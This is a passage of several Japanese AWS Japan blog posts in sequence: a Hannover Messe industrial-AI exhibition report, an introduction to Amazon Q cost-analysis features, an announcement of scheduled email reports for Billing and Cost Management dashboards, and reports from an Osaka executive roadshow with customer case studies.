のデモに連携され、レーザー加工によりコースターとして生産されます。 製品設計に必要な様々なエンジニアリングツールを仮想化する例として、 PTC の CAD (Creo) と、開発中の CAD へのアドバイスを行う紹介がありました。全体に、Engineering Development Hub (EDH) という新しいエンジニアリング環境が使われ、様々な CAD/CAE の環境を仮想化し、呼び出し、管理し、VDI で接続することで計算リソースやワークステーションを柔軟に増減させ管理の手間を減らすことができる様をご紹介しました。 写真：Engineering & Development Tunnel (左) と Creo のデモ (右) 設計されたデータはシミュレーションにより性能を検証しますが、設計パラメータを変更して都度シミュレーションを行うとそのための計算量やコストも膨大になります。そこで、過去のシミュレーション結果から異なる設計パラメータのシミュレーション結果を AI で予測する手法がサロゲートモデルです。パートナーの Neural Concept との共同展示で、データセンターの冷却を題材としたパラメータスタディを行うデモを展示しました。 SIEMENS との共同展示では、設計データから強度シミュレーションを行い、その結果を元に生成 AI に設計改善のアドバイスをさせるデモが示されました。また、“OT Modernization” という展示では、シミュレーションを製品開発だけではなく生産設備のエンジニアリングに活用し、生産ラインにおけるアームロボットの動作を生成 AI で最適化してタクトタイムを縮めるという提案を行いました。 写真：SIEMENS との共同展示 (左) と OT Modernization の展示 (右) 他にも、CAD の展示として完全クラウドベースのアーキテクチャにより無限 Undo や PDM の統合を可能にし、オペレーションを中間言語で記述することで AI による支援を容易にするといった意欲的な機能を搭載した PTC の Onshape が紹介されました。 スマートプロダクト (Smart Products & Services) 今年のスマートプロダクトエリアのトレンドは、「売って終わり」から「売った後も継続改善」への転換が現実的になってきたことです。開発面では、AI エージェントが設計からリリースまで全フェーズに介入し、組み込みソフトの開発サイクルを劇的に短縮。出荷後も迅速にアップデートを続けられる体制が整いつつあります。サービス面では、テレメトリ・保守履歴・顧客問い合わせなど複数データソースを AI が統合解析し、故障予兆検知やプロアクティブなサポートを実現。予防保守サブスクやリモート診断など新収益ストリームの創出と顧客関係強化につながっています。スマートプロダクトでも DevOps の継続改善サイクルが回せる時代に入った — これが今年最大の変化です。この記事では、”Accelerate embedded software development and equipment” と “Smart Products Telemetry Driven ‘X'”の 2 デモをご紹介します。 写真: Accelerate embedded software development and equipment — 組み込みソフトウェア開発の課題を示すスライドと、Kiro が 30 分以内で実装した 空調管理システム UI の実機（右下） Kiro （AI 駆動 IDE）による組み込みソフト開発ライフサイクル全体の加速デモです。空調管理システム（C++ で実装/ 7 インチ HMI 画面）を題材に、Research・Plan・Development・Release の 4 フェーズを一気通貫で実演します。注目すべきは、画像右下の空調管理システム実装において、リモートデバッグ・UI チェック・デプロイをすべて Kiro が自律実行し、30 分以内で完了させている点です。従来 1 週間以上かかる作業が、コード生成→デプロイ→スクリーンショット評価→改善のフィードバックループで劇的に短縮されています。 デモの内容を体験できるワークショップ も公開されています。 写真: Smart Products Telemetry Driven “X” — デバイス障害検知時に Amazon Connect へリアルタイムのテレメトリとアラートが自動連携される様子 AWS IoT Core と Amazon Connect を組み合わせたサービス改善の展示です。産業機器（デモでは 3D プリンター）のテレメトリをリアルタイム収集・監視し、エラー発生時にはデバイスデータがサポートエージェントに自動連携されます。顧客にシリアル番号や症状を確認する手間なく即座に問題解決に着手できます。AI エージェントが解決できない場合は自動でタスク生成し、熟練技術者や専門 AI エージェントへエスカレーションする仕組みも備えています。 まとめ 本年のハノーバーメッセでは、”Built for Industrial AI” のテーマのもと、フィジカル AI と エージェント AI が製造業のバリューチェーン全体に広がりつつある姿が印象的でした。生成 AI による意匠提案から エージェント AI による工程オーケストレーション、ロボットによる物理世界での実行までが一つのシナリオで繋がる “AI-Driven Product Journey” は、その象徴的な事例です。Smart Manufacturing・Supply Chain・Product Engineering・Smart Product の各領域でも、AI エージェントが複数システムを横断して人の意思決定を支援するアーキテクチャが共通の方向性となりつつあり、産業 AI が実証から実運用フェーズへ着実に進みつつあることを感じる場となりました。AWS は引き続き、産業 AI を実運用にスケールさせていくお客様の取り組みを支援してまいります。 なお、6 月 25, 26 日に開催される AWS Summit Japan 2026 でも フィジカル AI や産業 AI の展示をご用意しています。Summit 向けに企画した新たなデモを通じて、製造業における AI の可能性を体感いただけます。ぜひご登録のうえ、会場でお会いできれば幸いです。 AWS Summit Japan 2026 の登録は こちら 著者について 木村 直登(Naoto Kimura) AWS Japan のソリューションアーキテクトとして、製造業のお客様に対しクラウド活用の技術支援を行なっています。最近は AI エージェントと毎日戯れており、AI エージェント無しでは生きていけなくなっています。好きなうどんは’かけ’です。

最新の Amazon Q コスト機能は、FinOps チームがクラウド支出を管理する方法を変革しています。FinOps チームがコストのかかる設定を発見した時点では、すでに本番環境で稼働していることも少なくありません。その段階での修正はデプロイへの影響が大きくなりがちで、関係者との調整もより難しくなり、得られるコスト削減効果も本来可能だったものより小さくなってしまうことがよくあります。 Amazon Q は、知りたいことへの回答を得て意思決定を行うまでのスピードを加速させています。この 1 年間で、AWS は Amazon Q のコスト関連機能を拡充してきました。 自然言語での料金に関する質問への回答から 、開発者のワークフロー内で最適化の推奨事項を直接提示する機能まで、その範囲は広がっています。その結果、クラウドコストとの向き合い方が根本的に変わりました。月次のレビュー作業としてではなく、構築や運用の中で継続的に対話しながら取り組むものへと変化しています。 開始方法と前提条件 Amazon Q Developer は、AWS コンソール上で追加のセットアップなしにそのまま利用できます。利用を開始するには、AWS コンソールの左上にある Amazon Q チャットインターフェイスのアイコンを見つけてください。 この記事で取り上げる機能を使用するには、 AWS Cost Explorer が有効になっていること、および Amazon Q と請求データの両方に対する AWS Identity and Access Management (IAM) のアクセス許可が必要です。すべての機能を利用するには、 AWS Cost Optimization Hub と AWS Budgets も有効にしておくことをお勧めします。AWS のアプリおよびウェブサイト (AWS Management Console、AWS コンソールモバイルアプリケーション、AWS ドキュメントサイトを含む) 上で Amazon Q Developer の機能にアクセスするために必要な IAM ポリシーについては、 こちら を確認してください。 Amazon Q Developer には月 50 クエリまでの無料利用枠 (Free Tier) が用意されており、アドホックなコスト調査や定期的なレビューであればほとんどの場合これでカバーできます。より多くの利用が必要なチームは、ユーザーあたり月額 19 ドルの Pro Tier にアップグレードできます。この記事で紹介するすべての機能は、Free と Pro の両方のサブスクリプションに含まれています。詳細については、 Amazon Q Developer の料金ページ を参照してください。 より速く、よりスマートなコスト分析 この新機能の核となるのは、スピードと分析の深さです。FinOps アナリストは、「先週コンピューティングの支出が増えたのはなぜか？」といった質問に答えるために、複数のデータセットを調査するのに何時間も費やすことがよくあります。Amazon Q は、従来であればダッシュボードやコストデータを手作業で確認しなければ得られなかった回答を、自動的に提供できるようになりました。「過去 3 か月間の EC2 の時間あたりコストはどのように推移していますか？」のような、計算を伴う複雑な質問をすることもできます (図 1 および図 2 を参照)。 Amazon Q に質問を送信すると、複数のソースからきめ細かなデータを取得し、カスタム計算 (コストを使用量で割るなど) を実行して、必要なデータを提供します。ユーザーはデータの所在を自分で探す必要はありません。また、時間単位やリソースレベルの粒度にも対応しているため、スケーリングやその他の動的なアクティビティについても調査が可能です。 図1 – Amazon Q チャット画面 (処理ステップと「View in Cost Explorer」リンクの表示) 図2 – Amazon Q チャット画面 (出力結果と分析の表示) 各レスポンスには、実行された API 呼び出しの詳細と「 View in Cost Explorer 」リンクが含まれているため、基となるデータを直接確認することができます (図 3 を参照)。 図3 – 「View in Cost Explorer」リンクをクリックした例 開発者へのコスト意識の浸透 リソースがデプロイされる前の段階でコスト最適化に取り組むこと (FinOps では「シフトレフト」と呼ばれます) は、支出を管理するうえで最も効果的なアプローチのひとつです。Amazon Q の新しい機能は、実際に作業が行われる場所で力を発揮します。コンソールにログインすれば、事前の設定やセットアップなしに、Amazon Q のネイティブ機能を使って料金の見積もりや想定ワークロードに関する質問をすることができます。たとえば、技術設計ドキュメントの作成中に、Amazon Q に「現在のインフラストラクチャに基づいてコストの見積もりを作成して」と依頼する場面を想像してみてください。Amazon Q は現在のアーキテクチャを読み取り、 Amazon Elastic Compute Cloud (Amazon EC2) や Amazon Simple Storage Service (Amazon S3) などのサービスの料金を取得して、詳細なコスト見積もりを提供します。 図4に示すように、Amazon Q はサービスごとの日次支出内訳を生成することもでき、実際にどこにコストがかかっているかを明確に把握し、見落としがちなパターンを発見するのに役立ちます。さらに詳しく見たい場合は、図 5 に示すように、Amazon Q が Amazon EC2 のコストをインスタンスタイプ別・日別に内訳表示できるため、どのインスタンスファミリーがコンピューティング支出を押し上げているかを時系列で簡単に確認できます。また、この機能を What-if 分析にも活用できます。ワークロードを Graviton やサーバーレスに移行した場合のコストを見積もりたければ、Amazon Q に聞くだけです。 図4 – Amazon Q による 2026 年 2 月のサービス別日次内訳。Amazon EC2 Compute は平日平均 7.88 ドル/日で、週末には顕著な減少が見られる。Amazon CloudWatch の監視コストは 5 ドル/日で安定しており、2 月 24〜25 日には RDS のスパイクが発生している 図5 – Amazon Q が当月のインスタンスタイプ別・日別の EC2 コストのエリアチャートを生成している様子 新しいビジュアル体験：Amazon Q アーティファクト コストインテリジェンスの改善に加えて、Amazon Q は表やグラフによる可視化で強化されたレスポンスを提供するようになりました。これは Amazon Q アーティファクトと呼ばれます。コンソール全体の体験も刷新されています。 まず、Amazon Q のアイコンが統合ナビゲーションバーに移動し、コンソールのどのページからでもアクセスできるようになりました (図 6 を参照)。 図6 – 統合ナビゲーションバーの Q Amazon Q のアイコンをクリックすると、左側にチャットパネルが開きます。ビジュアライゼーションが生成されると、右側にアーティファクトパネルが自動的に開きます (図 7 を参照)。 図7 – Amazon Q チャットとアーティファクトパネル 最後に、Amazon Q のメニューバーに注目してください (図 8 を参照)。 コストレビューに集中するための フルスクリーンモード レスポンスタイプでフィルタリングできる、厳選プロンプトが用意された プロンプトライブラリ (右上の本のアイコン) 図8 – Amazon Q メニューバー リソーステーブルにはディープリンク (訳注：特定のページやリソースに直接遷移するリンク) が含まれており、当該リソースのサービスコンソールに直接移動できるため、リソース ID をコピーして手動で画面を遷移する必要がありません。 Amazon Q は複数のデータソースから同時にデータを取得します。 AWS Cost Explorer – 過去の支出、トレンド、予測 AWS Cost Optimization Hub – 実行可能なコスト削減の推奨事項 AWS Compute Optimizer – 過剰にプロビジョニングされたリソースの特定 Savings Plans とリザーブドインスタンスのデータ – カバレッジと利用率 AWS Pricing API – すべてのサービスとリージョンにわたるリアルタイムの公開料金 さらに先へ：コストを可視化するさらなる方法 この記事で紹介した例はほんの出発点にすぎません。Amazon Q は幅広いコストの可視化機能に対応しており、何ができるかを知る最良の方法は、まず質問してみることです。支出の急増を調査する場合でも、予算に関する議論の準備をする場合でも、直近の最適化の効果を追跡する場合でも、役立つチャートがきっと見つかるはずです。 FinOps 業務向けのプロンプト例をいくつか紹介します。 予測と予算計画 「次の請求期間のコスト予測を表示して」 – 月末を迎える前に、予算に関する議論をサポートするための将来予測を確認できます (図 9) 「今後 90 日間の予測総支出額をグラフにして」 – 支出の推移を可視化し、予算超過の可能性を早期に発見できます 図9 – 次の請求期間のコスト予測の表示 コミットメントカバレッジ 「過去 3 か月間の Savings Plans カバレッジを青、利用率を赤で折れ線グラフにして」 – コミットメントが期待どおりに機能しているかを追跡し、KPI に色を割り当てることができます (図 10 を参照) 「過去 6 か月間のリザーブドインスタンスの利用率をサービス別にグラフにして」 – 有効期限が切れる前に、十分に活用されていないリザーブドインスタンスを特定できます 図10 – 過去 3 か月間の Savings Plans の利用率とカバレッジ率 サービスおよびリソースの詳細分析 「過去 6 か月間の RDS コストをインスタンスタイプ別・月別でグラフにして」 – インスタンスファミリー全体にわたるデータベース支出のパターンを把握できます 「過去 30 日間の DynamoDB コストをリージョン別・日別でグラフにして」 – リージョンごとの DynamoDB 支出の傾向を把握できます 「先月の EC2-Other コストを円グラフにして」 – EBS、データ転送、Elastic IP などの付随的なコンピューティング料金の内訳を確認できます 「先月のデータ転送コストを可視化して」 – 集計ビューでは見落とされがちな egress (外向きデータ転送) 料金を発見できます ゼロから始める必要はありません。Amazon Q パネルの本のアイコンからアクセスできる Amazon Q プロンプトライブラリには、Cloud Financial Management カテゴリに 23 (訳注：2026 年 5 月初旬時点では 26) の厳選されたプロンプトが用意されており、Q&A、Visualization、Workflow のレスポンスタイプをカバーしています。カテゴリでフィルタリングし、プロンプトを選んで、自分の状況に合わせてカスタマイズするだけです。空白のチャットから意味のあるコストインサイトを得るための最も手軽な方法です (図 11 を参照)。 図11 – Amazon Q プロンプトライブラリ まとめ これらの新機能の目的はシンプルです。データの管理に費やす時間を減らし、ビジネス価値の創出により多くの時間を充てることです。Amazon Q が AWS コンソールに直接組み込まれたことで、コスト管理は日々のオペレーションのシームレスな一部となります。 EC2 の時間あたりコストの調査、サービス別の日次支出内訳の生成、EC2 コストのインスタンスタイプ別の分類、Graviton への移行で得られるコスト削減の見積もりなど、どのような場面でもAmazon Q は余計な手間をかけずに必要な回答を提供します。 FinOps の本質は、財務データに基づいてより良い意思決定を行うことにあります。Amazon Q はその目的を変えることなく、それをより簡単に、よりアクセスしやすいものにします。データと回答は、質問ひとつで手に入ります。今すぐ Amazon Q を使い始めましょう。 Adam Richter Adam Richter は、AWS OPTICS のシニア最適化ソリューションアーキテクトで、AI コスト最適化と FinOps のベストプラクティスに注力しています。Amazon Q Business や Amazon Q Developer など、お客様向け機能の開発に貢献してきたほか、AWS re:Invent をはじめとする業界イベントでスピーカーとして頻繁に登壇し、専門知識を共有しています。また、FinOps Foundation AI ワーキンググループに AWS の代表として参加し、AI における FinOps に関する幅広い議論に貢献しています。 Loic Fournier Loïc は、AWS のシニアテクニカルアカウントマネージャーで、お客様のクラウドジャーニー全体を通じて AWS サービスの価値を最大化するための戦略的な技術アドバイザーとして活動しています。IT 業界で 27 年、クラウドにおける FinOps と財務ガバナンスの分野で 3 年の経験を持ち、公共セクターを含む多様なお客様を支援しながら、オペレーショナルエクセレンスとクラウド効率化に関する深い専門知識を提供しています。 翻訳はテクニカルアカウントマネージャーの堀沢が担当しました。 原文 はこちらです。

月曜日の朝を想像してみてください。CFO、エンジニアリングディレクター、財務チームの全員が、包括的な AWS コストレポートを受信トレイで受け取ります。FinOps チームは誰一人として手を動かす必要がありません。レポートには先週の支出傾向、 Savings Plans の利用状況 、サービスごとのコスト内訳がすべてプロフェッショナルなフォーマットで整えられ、週次ビジネスレビューですぐに確認できる状態になっています。 AWS Billing and Cost Management (請求とコスト管理) ダッシュボード のスケジュールメール配信機能が、まさにこれを実現します。この機能は 2026 年 4 月 9 日よりご利用いただけます。多くの組織にとって、クラウドコストに関するインサイトをステークホルダーに配信することは、時間のかかる手作業でのプロセスでした。FinOps チームは、AWS コンソールへのログイン、レポートの生成、スクリーンショットの取得、プレゼンテーション資料の整形、そして AWS コンソールへのアクセス権をもたない経営層やエンジニアリングリーダーへの資料のメール送信といった作業に、貴重な時間を繰り返し費やしてきました。Billing and Cost Management ダッシュボードのスケジュールメール配信機能を使えば、このワークフロー全体を自動化できます。 この記事では、Billing and Cost Management ダッシュボードの新しいメールレポート機能を使用すべき理由、このローンチの主な機能、および利用を開始するためのステップバイステップのガイダンスについて説明します。 Billing and Cost Management ダッシュボードのメールレポートを使用すべき理由 繰り返しの手作業によるレポート作成を削減 レポート作成のサイクルは毎週、毎月繰り返され、そのたびに FinOps チームはより付加価値の高い業務からいったん離れざるを得なくなります。スケジュールメール配信を使えば、一度レポートを設定するだけで、あとはシステムが生成と配信を自動的に処理します。 非技術系ステークホルダーへのオフラインアクセスを提供 経営幹部、取締役会メンバー、財務チームは、クラウドコストの状況を定期的に把握する必要がありますが、その多くは AWS コンソールへのアクセス権を持っていなかったり、レポートツールを操作する時間がなかったりします。スケジュールメール配信は、パスワードで保護された PDF レポートを受信トレイに直接送信するため、取締役会、予算レビュー、戦略策定セッションでそれをすぐに確認することができます。AWS アカウントへのアクセス権は不要です。 一貫性のある、タイムリーな財務情報の配信を実現 手作業によるレポートは、遅延や内容のばらつきが生じやすくなります。他の優先業務に押されてレポート提出の期限を過ぎてしまったり、一部の受信者がレポートを受け取れなかったりすることがあります。自動メール配信を使えば、すべてのステークホルダーに対して、同じフォーマットで統一されたプロフェッショナルなレポートが、決まったスケジュールで一斉に届きます。 Billing and Cost Management ダッシュボードのメールレポートの主な機能 ワークフローに合わせたレポートのスケジュール設定 日次、週次、または月次の配信を、組織のレビュー周期に合わせた特定の時間に設定できます。必要に応じて、開始日と終了日を指定することも可能です。 セキュリティを損なうことなくコストレポートを共有 受信者は、AWS マネージドの S3 バケットに暗号化された状態で保存されたパスワード付き PDF レポートへの、セキュアで有効期限付きのリンクを受け取ります。署名付きダウンロード URL の 有効期限は 15 日間です。 あらゆる対象者に適したレポートを提供 エグゼクティブレビュー用にダッシュボード全体をエクスポートしたり、チーム内の重点的な議論用に個別のウィジェットをエクスポートしたりできます。最終ファイルを生成する前に、PDF プレビューでレイアウトを確認して調整を行うこともできます。 既存のワークフローへのレポートの統合 スケジュールレポートは AWS SDK および CLI を通じて利用可能で、 Billing and Cost Management Dashboards API を使用して、Infrastructure as Code (IaC) やカスタム自動化ワークフローにレポートのスケジュール設定を統合することができます。 コストデータの閲覧者の管理 この機能は、既存の Billing and Cost Management ダッシュボードのアクセス許可をそのまま引き継ぎます。レポート作成時に検証を行い、すべての基盤データソースへのアクセス権があることを確認します。 レポート受信者の簡単な管理 AWS User Notifications を通じて受信者を一元的に管理することが可能です。メールアドレスの検証は初回の一度だけで済み、作成した連絡先リストは複数のダッシュボードレポートにわたって再利用できます。 利用を開始するには 開始する前に、 AWS User Notification (UNO) の通知設定 の表示、一覧表示、作成、更新、削除のアクセス許可が必要です。 スケジュールメール配信の利用を開始するにはほんの数分しかかかりません。大まかなワークフローは以下のとおりです。 Billing and Cost Management コンソールのダッシュボードに移動し、エクスポートするダッシュボードを選択して、アクションメニューから「メールレポートを管理 (Manage email reports)」→「レポートを作成 (Create report)」を選択します。 レポートに名前と説明を付け、ダッシュボード全体を送信するか単一のウィジェットを送信するかを設定し、必要に応じてレポート期間 (例：過去 7 日間、前月、過去 1 年) を設定します。プレビューを使ってレイアウトを確認してから先に進みます。   図 1：レポートの詳細と内容   受信者を指定するには、既存の AWS User Notifications 設定 を選択するか、新しい設定を作成します。AWS コンソールへのアクセス権を持たないステークホルダーの場合は、メール配信リストを使用してください。コンソールにアクセス権を持つメンバーが 1 人いれば、そのメンバーがグループを代表して初回のメール検証を完了できます。   図 2：メール受信者の設定   配信スケジュール (日次、週次、月次)、配信時間、終了日 (作成日から最大 3 年) を設定します。   図 3：レポートスケジュールの設定   サービスがレポートを生成・配信するためのアクセス許可を付与するために、サービスロールを作成または選択します。   図 4：セキュリティとアクセス許可の管理   すべての選択内容を確認し、「作成 (Create)」をクリックします。   図 5：確認と送信   プログラムからセットアップする場合は、 bcm-dashboards:CreateScheduledReport API を使用してレポートスケジュールを設定し、AWS User Notifications を通じて受信者を管理します。詳細な手順と API の例については、 AWS Billing and Cost Management Dashboards API ユーザーガイド を参照してください。 まとめ Billing and Cost Management ダッシュボードのスケジュールメール配信は、クラウド財務レポートを時間のかかる手作業から自動化された一貫性のあるワークフローへと変革します。繰り返しのレポート作業がなくなることで、FinOps チームは戦略的なコスト最適化に注力できるようになります。それと同時に、経営層からエンジニアリングリーダーまで、組織全体のステークホルダーが必要な財務情報に確実かつタイムリーにアクセスできるようになります。 この機能は、米国東部 (バージニア北部) リージョンで追加費用なしで 2026 年 4 月 9 日よりご利用いただけます。利用を開始するには、 AWS Billing and Cost Management コンソール のダッシュボードにアクセスし、アクションメニューから「メールレポートを管理 (Manage email reports)」を選択してください。詳細については、 AWS Billing and Cost Management ダッシュボードユーザーガイド および API リファレンス を参照してください。最新の FinOps ベストプラクティスとプロダクトアナウンスについては、 AWS Cloud Financial Management ブログ でご確認いただけます。 Shubir Kapoor Shubir Kapoor は、AWS Billing and Cost Management サービスのプリンシパルプロダクトマネージャーです。お客様がクラウドの価値を発見し、十分な情報に基づいた意思決定を行い、クラウドコストを最適化するのを支援するためのプロダクトに注力しています。 Gustavo Zioli Gustavo Zioli は、米国テキサス州を拠点とする AWS のアソシエイトソリューションアーキテクトで、クラウドベースの戦略とソリューションの策定を通じてお客様の目標達成を支援しています。AWS 入社前は、ブリガムヤング大学および Magnago and Custódio 法律事務所でデータアナリストとして勤務していました。ブリガムヤング大学で情報システムマネジメントの修士号を取得しています。 翻訳はテクニカルアカウントマネージャーの堀沢が担当しました。 原文 はこちらです。

こんにちは。Amazon Web Services Japan のソリューションアーキテクト、田中 里絵 です。 本ブログは、2026 年 4 月〜5 月にかけて全国 5 拠点・計 8 回で開催した「 AWS Local Executive Roadshow 」シリーズの第 2 回レポートです。シリーズの背景や全体像については、 前回の大阪・初回レポート をご覧ください。 前日（4 月 13 日）の AI を自社の業務に活かしたい企業の皆様向けセッションに続き、2026 年 4 月 14 日は同じ大阪支社にて、AI で顧客を支援する IT 企業のエグゼクティブの皆様をお迎えし、「 AI ツールで実現する継続収益ビジネス 〜開発力を資産に変える〜 」と題したイベントを開催しました。AI エージェント時代のビジネスモデル変革をテーマに、登壇企業の実体験から「開発力をどう資産に変えるか」を共に考える一日となりました。 イベントの流れ 当日はまず、私 田中から「AWS で一歩先へ！生成 AI 時代のビジネスモデル変革の打ち手」と題したオープニングセッションを実施しました。このセッションでは、AI Agent を活用して IT 企業のビジネスの形がどう変わっていくのか、 Kiro のデモを交えながら解説しました。続いて、AWS ファイナンス部門の Finance Manager 坂本 秀隆 から「AWS のファイナンスが語る！生成 AI による業務効率化の勝ち筋」と題したセッションを通して、AWS 社内での実際の AI Agent を活用ストーリーをお届けしました（このセッションについては、 前回のレポート に同内容セッションの様子が含まれています！ぜひご覧ください）。 AWS 側のセッションを通じて生成 AI 活用の全体像とイメージをつかんでいただいたあと、お客様によるお取り組み事例の紹介セッションへ進みました。ここからは、大阪・関西を拠点に、社内に眠る知的資産を生成 AI で価値に変える取り組みを進めてこられた 2 社の事例をご紹介します。 事例紹介：ロジカル・アーツ株式会社様 〜受託開発からコールセンター特化 SaaS「HARMONY」へ〜 事例紹介の 1 社目は ロジカル・アーツ株式会社 様です。創業 1992 年、大阪・東京・福岡に拠点を構え、従業員は約 70 名。AWS アドバンストティアサービスパートナーとして、クラウドインテグレーション・SES・自社プロダクトの 3 事業を展開されています。当日は営業推進部 部長の長西 賢一 様に、自社 SaaS 「 HARMONY 」の開発ストーリーをお話しいただきました。 長西様がまず投げかけたのは、「開発力はあるのに、なぜ収益が安定しないのか」という問いでした。IT 企業の従来のビジネスモデルは、売上が「人数 × 単価 × 稼働率」の掛け算に縛られてしまい、プロジェクトが終われば収益はゼロ。開発力を磨き続けることが強みになる一方で、そこだけではスケールに限界がある──「開発力を資産に変えられないか」、その問題意識が SaaS 型ビジネス模索の出発点だったそうです。 ロジカル・アーツ様は、受託開発プロジェクトの中で AWS のコンタクトセンターソリューション Amazon Connect の導入支援実績を積んでおられ、コールセンター現場の課題を熟知していました。さらに Amazon Bedrock という生成 AI の選択肢が登場し、ドメイン知識をプロダクトに落とし込める手応えを得たことをきっかけに、SES や受託開発は継続しながら、SaaS 化による継続収益モデルへのシフトを進めていかれました。 こうして生まれたのが、AI コンタクトセンターソリューション「 HARMONY 」です。通話内容のリアルタイム文字起こし・要約生成、会話解析による CRM 自動入力、クレーム検知、1 日 1 万件の自動発信を可能にするプレディクティブコール機能など、7 つの AI 機能を搭載されています。 図: ロジカル・アーツ株式会社 HARMONY HARMONY の導入効果は数字にも表れており、(1) アフターコールワーク（後処理）時間が 20 分から 5 分へ短縮、(2) 一人あたり従来の 2 倍の電話対応の実現、(3) プレディクティブコールによるアウトバウンドコール数の向上、(4) ランニングコストの従来比 85% 削減、といった価値を提供できるようになったとのことです。あるお客様への導入実績では、アフターコールワーク（後処理時間）が 3 〜 5 分から 1 分へ短縮され、「要約精度が高く、操作も直感的で使いやすい」との評価を得られています。 HARMONY の事業化によって、ロジカル・アーツ様の収益構造は受託中心のフロー型から、月次継続課金のストック型へと徐々にシフトしています。さらに副次的な効果として、HARMONY 導入企業から別案件の支援依頼もいただけるようになり、コールセンターソリューションを入口に DX 全体を支援するパートナーへと立ち位置が進化しているそうです。 長西様は最後に、「開発力は最強のビジネス資産──ただし、プロダクトに変える”決断”が必要」「AI は脅威ではなく武器」「ドメイン知識こそが差別化の源泉」という 3 つのメッセージを残されました。今後は AI エージェント機能の拡張や外部カンファレンスへの出展を通じて、さらなるビジネス拡大を目指していかれるとのことです。 写真: ロジカル・アーツ株式会社 長西様によるセッション ビジネスモデルの転換という切り口で語ってくださったロジカル・アーツ様に続き、もう 1 社も同じく「自社プロダクトに挑戦した企業」ですが、取り組まれている領域と切り口はかなり違ったものでした。 事例紹介：株式会社アプリズム様 〜AI × IoT で「作って終わり」にしない見守りプロダクト「aiba」〜 事例紹介の 2 社目は 株式会社アプリズム 様です。2011 年設立、大阪市に本社を構え、従業員 100 名の IT 企業で、基幹系・業務系・Web システム開発に加え、AI・IoT・フィジカル AI 領域の研究開発にも取り組まれています。大阪大学産業科学研究所との産学連携も進められており、最先端技術の実用化に力を入れておられる会社です。当日は AI プロダクト本部 事業戦略室 室長の湯元 章彦 様、および同本部 プロダクト推進部の舛野 亮介様にご登壇いただきました。 アプリズム様もまた、受託開発中心のビジネスで感じていた「作って終わり」の課題について触れられました。実績は積み上がるものの、技術力や知見が案件ごとに分断されてしまい、会社として資産化されていかない──この課題意識から、受託で得たドメイン知識やアルゴリズムを抽象化し、再利用可能な形で提供する、つまり技術を「納品物」ではなく「資産」に変えるという方針のもと、自社プロダクト開発に舵を切られました。 こうして生まれたのが、競走馬の見守りプロダクト「 aiba 」です。馬房に設置した AI エッジカメラ（RGB カメラと暗視カメラの 2 レンズ搭載）が、独自開発の骨格推定アルゴリズムで馬の運動量の変化を 24 時間常時解析し、異常を検知するとクラウド経由でスタッフのスマートフォンにアラートと動画が即時配信される仕組みです。対応記録もシステム上に残せるため、「検知 → 通知 → 対応 → 記録・共有」までが一つの流れとして完結します。 図: 株式会社アプリズム様 aiba サービス概要 開発は試行錯誤の連続だったそうです。夜間・暗所での馬の骨格推定は撮影条件が難しく、高精度なモデル開発には何度もトレーニングを繰り返す必要がありました。この壁に対しては、 Amazon SageMaker AI で GPU を必要な時だけ利用する反復的な開発サイクルを確立して乗り越えられたとのことです。また、施設ごとに異なるネットワーク環境や馬房構造への対応も課題でしたが、 AWS IoT Core のフリートプロビジョニングを活用し、カメラをネットワークに接続するだけで認証が完了する仕組みを構築。 プロビジョニング工数を約 90% 削減し、非技術者の現場スタッフでも扱える展開体制 を実現されました。 進め方で徹底されたのは「 小さく始める 」ことだったといいます。PoC から入り、特定の業界で磨き、実際に使われる中でプロダクトを強くしていく。AWS のマネージドサービスを活用することで、インフラ運用にリソースを割かず、プロダクト価値そのものの改善に集中できたことも大きかったそうです。 登壇の締めくくりで印象的だったのが、舛野様の次の言葉でした。 「 我々のサービスは、AWS を使うことが目的ではありません。現場を支え、事業として続けるために、余計なことで悩まなくて済む基盤として AWS を選びました。 」 プロダクト開発の主語はあくまで現場の課題であり、テクノロジーはそれを支える手段にすぎない、という姿勢が強く伝わってくる一言でした。 写真: 株式会社アプリズム 舛野様によるセッション まとめ 大阪でご登壇いただいた 2 社に共通していたのは、 自社のドメイン知識と開発力を「資産」へと転換する という発想でした。そして、「開発力は十分ある。あとはそれをどう自社のビジネスに変えていくか」という段階で、クラウドのスモールスタートのしやすさや、必要なリソースを即日調達できる柔軟性といった AWS の価値に触れていただくことができました。 セッション後の懇親会では、収益構造を変えることで生まれるリスク、取り組みの中でうまくいった点・うまくいかなかった点なども含めて、参加者同士・登壇者・AWS チームとの間で活発な議論が交わされていました。サービスや技術そのものだけでなく、こうした実際の取り組みの事例や知見を発信していくことは、私たちの大切なミッションの一つだと考えています。 このブログシリーズでは、本イベントの開催レポートを各拠点の開催順にお届けしていきます。今回お届けした大阪編に続き、次回は名古屋編を予定していますので、どうぞお楽しみに。 そして読者の皆様へ──もし本ブログを読んで「うちの会社の取り組みもぜひ発信したい」「AWS と一緒に何か取り組みたい」「AI で日本をもっと元気にしていきたい」と感じていただけたなら、ぜひ担当営業、あるいはお近くの AWS メンバーまでお気軽にお声がけください。 関連ブログ AWS Local Executive Roadshow 大阪・初回レポート（眠るデータを企業価値に変える） ロジカル・アーツ株式会社様の AWS 生成 AI 事例「コールセンター業務の効率化と品質向上を実現する生成 AI コンタクトセンター」 株式会社アプリズムが Amazon SageMaker AI と AWS IoT Core で実現した馬の見守りシステム「aiba」の開発と運用 執筆者 Amazon Web Services Japan 合同会社 ソリューションアーキテクト　田中 里絵

こんにちは。Amazon Web Services Japan のソリューションアーキテクト、田中 里絵 です。 私は日本全国・業種・業態を問わず様々なお客様を支援する広域事業統括本部の中の、首都圏以外のお客様を支援するチームに所属しています。私たちは 2026 年 4 月〜5 月にかけて、大阪・名古屋・広島・博多・札幌の 5 都市・計 8 回にわたり、「 AWS Local Executive Roadshow 」と題した生成 AI 活用をテーマとしたイベントを開催しました。AI を自社の業務に活かしたい企業の経営層・情報システム部門の皆様と、AI で顧客を支援する IT 企業の皆様、それぞれにお集まりいただき、各地域の登壇企業の実体験を起点に、参加者同士で生成 AI 活用の次の一歩を考える場として企画したシリーズです。本ブログシリーズでは、各拠点の開催レポートを、順にお届けしていきます。 初回となる本ブログでは、2026 年 4 月 13 日に大阪支社にて開催したイベント「 実践企業に学ぶ生成 AI 導入の勘所 〜眠るデータを企業価値に変える〜 」の様子をレポートします。AI を自社の業務に活かしたい企業のエグゼクティブ・情報システム部門の皆様をお迎えし、生成 AI をいかに自社のビジネス価値へと転換するかをテーマに、登壇企業のストーリーを中心にお送りします。 全国各地でイベントを開催することにした背景 「東京のイベントには物理的に参加しづらい」「AI 